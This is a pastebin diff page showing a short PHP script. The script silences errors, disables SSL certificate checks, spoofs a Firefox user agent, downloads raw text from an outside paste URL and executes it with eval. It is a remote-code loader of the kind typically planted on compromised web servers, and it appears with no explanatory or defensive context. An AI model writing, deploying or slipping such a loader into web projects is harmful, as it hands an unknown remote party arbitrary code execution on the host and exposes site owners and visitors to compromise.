View difference between Paste ID: Gsjr3GJb and wVFKnX92
SHOW: | | - or go back to the newest paste.
1
<?php
2
error_reporting(0);
3
function get_contents($url){
4
  $ch = curl_init("$url");
5
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
6
  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
7
  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
8
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
9
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
10
  curl_setopt($ch, CURLOPT_COOKIEJAR,$GLOBALS['coki']);
11
  curl_setopt($ch, CURLOPT_COOKIEFILE,$GLOBALS['coki']);
12
  $result = curl_exec($ch);
13
  return $result;
14
}
15
16
$a = get_contents('http://d6a58104c55bf9fb.paste.se/raw');
17
eval('?>'.$a);
18
?>